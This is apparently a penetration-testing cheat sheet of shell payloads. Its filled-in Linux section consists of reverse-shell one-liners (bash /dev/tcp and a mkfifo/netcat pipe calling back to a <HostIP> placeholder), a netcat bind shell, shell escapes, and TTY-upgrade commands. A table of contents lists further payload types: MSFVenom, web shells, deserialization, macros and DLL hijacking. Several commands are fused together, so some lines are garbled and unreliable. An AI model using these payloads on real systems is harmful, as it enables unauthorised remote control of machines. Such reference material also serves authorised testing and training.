Shells / Payloads
01. Linux
## ------------------| Reverse
bash -i >& /dev/tcp/<HostIP>/4545 0>&1
bash -c "bash -i >& /dev/tcp/<HostIP>/4545 0>&1"
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <HostIP> 4545 >/tmp/f
## ------------------| Bind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 4545 >/tmp/f/bin/sh -i
lua: os.execute('/bin/sh')
echo os.system('/bin/bash')
script -qc /bin/bash /dev/null
python -c "import pty; pty.spawn('/bin/bash')"
python3 -c "import pty; pty.spawn('/bin/bash')"python -c "import pty; pty.spawn('/bin/bash')"
stty raw -echo; fg
stty rows 45 cols 173
export TERM=xterm-256color
## ------------------| To add colors
export LS_OPTIONS='--color=auto'
eval "`dircolors`"
alias ls='ls $LS_OPTIONS'
export PS1='\[\e]0;\u@\h: \w\a\]\[\033[01;32m\]\u@\h\[\033[01;34m\] \w\$\[\033[00m\] '
## ------------------| To find my rows and cols
stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'02. Windows
03. Reverse Shells
04. MSFVenom
04.1 Windows
04.2 Linux
04.3 Other
Shellcode
ASP/ ASPX
PHP
JSP
HTA
Ms Micro
WAR (tomcat)
NodeJS
Perl
Python
05. NamedPipes (forward-shell)
06. SimpleShell
07. Deserialize Payloads.
07.1 DotNet (ysoserial.net)
08. Macro / RTF / SCF
08.1 MS Macro
08.2 OO Macro
08.3 Rich Text Format (RTF)
08.3 SCF (Shell Command Files)
09. DLL Hijack
10. Socat
11. GreatSCT
13. Merlin
Last updated